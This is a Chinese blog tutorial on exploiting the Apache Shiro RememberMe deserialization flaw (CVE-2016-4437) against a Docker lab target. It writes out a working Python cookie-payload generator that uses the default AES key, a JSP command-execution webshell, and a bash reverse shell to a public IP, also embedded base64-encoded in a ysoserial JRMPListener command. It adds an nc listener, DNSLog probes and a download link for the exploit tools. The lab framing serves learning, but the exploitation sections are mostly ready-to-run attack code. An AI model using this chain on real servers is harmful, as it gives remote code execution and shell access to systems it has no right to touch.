草庐IT

详细shiro漏洞复现及利用方法(CVE-2016-4437)

糊涂是福yyyy 2023-10-13 原文

目录

前言

1.了解shiro

2.shiro漏洞原理

3.漏洞验证

4.漏洞复现

 5.漏洞利用

5.1图形化工具利用

5.1.1shiro550/721工具

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

         5.2JRMP利用

        5.2.1工具准备

        5.2.2漏洞利用具体步骤 

        5.2.3漏洞检测

前言

该篇文章比较详细的介绍shiro漏洞利用,无论是shiro漏洞图形化工具利用,还是shiro漏洞结合JRMP我觉得比大多数文章都详细,如果你对网上结合JRMP反弹shell不是很明白,非常推荐来看看这篇文章。另外漏洞利用工程中用到的工具以及代码都上传到百度网盘,供大家使用,在文章最后哦。

1.了解shiro

Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

2.shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

3.漏洞验证

  1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  3. 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  4. 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
  5. 或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

4.漏洞复现

靶机:linux kali 192.168.3.27

接受反弹shell: windows10 192.168.3.207

这里直接使用docker拉取镜像,当然也有其他靶场的。

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 5555:8080 medicean/vulapps:s_shiro_1
原本端口是8080给他换成5555

 5.漏洞利用

这里我们可以使用图形工具进行利用,也可以使用代码进行利用。首先我们将图形化工具利用。

5.1图形化工具利用

5.1.1shiro550/721工具

1.输入url地址

上面有三个选项,第一个选择如果是自定义http请求,就勾选它,下方会出现输入框。第二个选择如果想要密钥爆破选择keys.conf.big字典,该字典的密钥多一点,默认是keys.conf,该字典都是一些常用密钥。第三个选择如果想指定key以及利用链等。一般来说我们不用选择那么多。直接输入url就点击下一步就行。

2.选择方式检测

这里有四个方式,方式优缺点各不相同,可以看下面链接了解。这里我们选择第四种,因为有回显大家看的比较清楚。

工具|Shiro漏洞一键检测利用工具ShiroExploit - SecPulse.COM | 安全脉搏

 

 3.进行检测

如果存在漏洞,上面的输入框就可以输入,并且显示该shiro的默认密钥是什么,以及利用链等等。

 4.命令执行

当我们检测到漏洞时候,就可以在输入框输入命令,因为我选择的是第四种回显方式,所以命令结果会在下面显示出来,比如如果选择第一种检测方式他就没有结果显示,就只有执行成功。

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

 5.反弹shell

因为我们的靶机是linux系统所以我们选择linux,后面填写的是接受shell的ip地址和端口。我们在接受shell机上利用nc开启8888端口监听,过一会就 可以看到连接成功。

6.获取webshell

该工具上传的木马是在config文件夹里面shell.jsp里面,不过这个文件需要自己创建,里面代码需要自己写入。这里木马需要是jsp文件,不然不解析哦。

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

 这时候我们可以访问该地址,因为网站页面不回显命令结果,所以我们可以使用DNSLog看是否有结果。可以看到命令成功执行。

http://192.168.3.27:5555/1.jsp?cmd=ping%20nrdp7u.dnslog.cn

 

 不过这里我出现一个问题就是,我把木马改成那种连接木马文件内容,使用冰歇连接,是失败的,连接不上,不知道是什么原因。我看到别人是连接成功的。

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

这个工具可以进行内存马注入,不过我的靶场是注入不了,查看资料好像需要静态资源,反正我是失败的。其他可以用用,首先我们需要提供目标url,可以选择是post还是get。可以指定密钥可以爆破。可以爆破利用链及回显方式。下面有检测日志,命令执行,内存马等选项。(写这个时候是在公司所以ip有所变化)

5.2JRMP利用

在很多文章里面看到了ysoserial利用,这个是一个java序列化工具。因为我们的漏洞是由于反序列化造成的。首先我们来看需要准备什么。

5.2.1工具准备

第一:你需要安装python,这个就自己百度了。以及一些模块主要是是pycrypto,这个模块主要是用来加密的。

pip install pycryptodome

第二:你需要一个加密的代码,这个我会直接给到大家,网上一搜也有很多。

第三:需要安装maven,这个主要是给ysoserial打包成架包吧。以及下载ysoserial,或者你可以去网上下载打包好的。

下载maven 并进行配置。
sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile


下载ysoserial并进行打包
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
#加密代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print( "rememberMe={0}".format(payload.decode()))


5.2.2漏洞利用具体步骤 

第一步:首先我们需要将一个地址加一个端口进行加密,这个地址是运行反弹命令的主机ip,也就是我们第二步主机ip。加密的步骤就是我们上面说的序列化——AES加密——base64加密。当然代码都可以帮你处理好了。你的加密代码poc.py,需要和打包好的序列化工具ysoserial放在一起才能进行加密。

第二步:我们成功打包好ysoserial,打包好的工具是在/ysoserial/target/下面的,在该目录执行代码,这里需要监听端口,和你在第一步加密的端口要一致。我都是7777。这里还有一个反弹shell的端口,自己随便设置一下,我是8888.

http://www.jackson-t.ca/runtime-exec-payloads.html#网上在线编码,我打不开,大家试试

反弹命令需要进行base64编码,网上有那种在线的,但是我打不开 ,这个图是我自己网上找的,大家自己试试能不能打开,如果你和我一样打不开就直接找网上那种在线的base64编码把反弹命令放上去编码,然后得到的编码替换掉我代码里面的编码就行。这个ip不是我真实ip,所以不要奇怪我文章编码怎么和我运行时编码不一样。我是在公网所以ip都擦掉了。如果大家是在内网就无所谓了。

bash -i >& /dev/tcp/116.55.22.113/8888 0>&1

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNTUuMjIuMTEzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'


 第三步:在你需要接受反弹shell的主机上开启端口监听,用什么端口取决你反弹命令用了什么端口。

nc -lvp 8888

第四步:将你第一步加密的数据,放到你抓包的cookiel里面,自己添加rememberMe字段,将数据放到该字段后面。发送数据。

 一会就会收到反弹shell。一开始我不是很理解这个代码流程,为什么发送目标服务器不是加密的反弹命令而是一个地址加端口。首先我们理解一下为什么这么处理会反弹shell.。具体步骤如下。

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1(我们第二步骤)
  2. 向漏洞服务器发送 payloads/JRMPClient 生成的 payload2(我们第一步骤)
  3. 漏洞服务器反序列化 payload2
  4. 反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
  5. exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
  6. 漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
  7. payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等

payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget

(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)

6.3漏洞检测

该步骤是和上面漏洞利用是差不多的,第一步我们需要去http://www.dnslog.cn/里面拿一个域名。第二步执行如下代码。就是我们上面漏洞利用第二步,代码不一样。第三步就是我们漏洞利用第一步。第四步就是将加密数据发送出去。然后看dnslog官网里面有没有解析出ip地址。解析就代表执行命令,就存在反序列化漏洞。这个跟我们上面检测工具的第三种比较类似。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'ping wzawdr.dnslog.cn'

这是一部分的资源链接:https://pan.baidu.com/s/1WQFK2VGj6SH55OCT10sisQ 
提取码:ij2b  一个是我上面所展示的工具,一个是打包好的架包。工具使用如下所示

 看在我这边贴心份上点个赞再走呗。

有关详细shiro漏洞复现及利用方法(CVE-2016-4437)的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 在VMware16虚拟机安装Ubuntu详细教程 - 2

    在VMware16.2.4安装Ubuntu一、安装VMware1.打开VMwareWorkstationPro官网,点击即可进入。2.进入后向下滑动找到Workstation16ProforWindows,点击立即下载。3.下载完成,文件大小615MB,如下图:4.鼠标右击,以管理员身份运行。5.点击下一步6.勾选条款,点击下一步7.先勾选,再点击下一步8.去掉勾选,点击下一步9.点击下一步10.点击安装11.点击许可证12.在百度上搜索VM16许可证,复制填入,然后点击输入即可,亲测有效。13.点击完成14.重启系统,点击是15.双击VMwareWorkstationPro图标,进入虚拟机主

  3. 100个python算法超详细讲解:画直线 - 2

    1.问题描述使用Python的turtle(海龟绘图)模块提供的函数绘制直线。2.问题分析一幅复杂的图形通常都可以由点、直线、三角形、矩形、平行四边形、圆、椭圆和圆弧等基本图形组成。其中的三角形、矩形、平行四边形又可以由直线组成,而直线又是由两个点确定的。我们使用Python的turtle模块所提供的函数来绘制直线。在使用之前我们先介绍一下turtle模块的相关知识点。turtle模块提供面向对象和面向过程两种形式的海龟绘图基本组件。面向对象的接口类如下:1)TurtleScreen类:定义图形窗口作为绘图海龟的运动场。它的构造器需要一个tkinter.Canvas或ScrolledCanva

  4. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  5. H2数据库配置及相关使用方式一站式介绍(极为详细并整理官方文档) - 2

    目录H2数据库入门以及实际开发时的使用1.H2数据库的初识1.1H2数据库介绍1.2为什么要使用嵌入式数据库?1.3嵌入式数据库对比1.3.1性能对比1.4技术选型思考2.H2数据库实战2.1H2数据库下载搭建以及部署2.1.1H2数据库的下载2.1.2数据库启动2.1.2.1windows系统可以在bin目录下执行h2.bat2.1.2.2同理可以通过cmd直接使用命令进行启动:2.1.2.3启动后控制台页面:2.1.3spring整合H2数据库2.1.3.1引入依赖文件2.1.4数据库通过file模式实际保存数据的位置2.2H2数据库操作2.2.1Mysql兼容模式2.2.2Mysql模式

  6. 华为ensp详细安装包、安装教程及所遇问题 - 2

    目录一、安装包链接二、安装详细步骤1.安装Wireshark和WinPcap2.安装OracleVMVirtualBox3.安装ensp三、安装后注册四、启动路由器出现40错误怎么解决一、安装包链接二、安装详细步骤链接:https://pan.baidu.com/s/1QbUUYMOMIV2oeIKHWP1SpA?pwd=xftx提取码:xftx1.安装Wireshark和WinPcap找到Wireshark安装包所在文件夹,双击它,按照以下步骤安装。2.安装OracleVMVirtualBox找到OracleVMVirtualBox安装包所在文件夹,双击它,按照以下步骤安装。注:可自定义安装

  7. Linux操作系统CentOS7安装Nginx[详细版] - 2

    Nginx安装1.官网下载Nginx2.使用XShell和Xftp将压缩包上传到Linux虚拟机中3.解压文件nginx-1.20.2.tar.gz4.配置nginx5.启动nginx6.拓展(修改端口和常用命令)(一)修改nginx端口(二)常用命令1.官网下载Nginxhttp://nginx.org/en/download.html这里我下载的是1.20.2版本,大家按需下载对应稳定版即可2.使用XShell和Xftp将压缩包上传到Linux虚拟机中没有XShell可以参考《Linux操作系统CentOS7连接XShell》3.解压文件nginx-1.20.2.tar.gz1)检查是否存

  8. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  9. Anaconda3、TensorFlow和keras简单安装方法(较详细) - 2

    因学习需要用到keras,通过查找较多资料最终完成Anaconda、TensorFlow和Keras的简单安装。因为网上的相关资料较多但大部分不够全面,查找起来不太方便,因此自己记录一下成功下载安装的详细过程,顺便推荐一下借鉴的写的很好的相关教程文章。keras需要在TensorFlow之上才能运行,所以要先安装TensorFlow,而TensorFlow只能在3.7以前的python版本中运行,所以需要先创建一个基于python3.6的虚拟环境,因此便需要先下载Anaconda。一、Anaconda3下载和安装Anaconda下载安装教程原文链接:https://blog.csdn.net/

  10. iOS快捷指令:执行Python脚本(利用iSH Shell) - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序,那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件,它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序,然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示(其实快捷指令中本身存在“获取当前日期”的操作,因而此需求可以不用Python,这里仅仅为了演示方便),核心代码如下。>>>importtime>>>time.strftime('%Y-%

随机推荐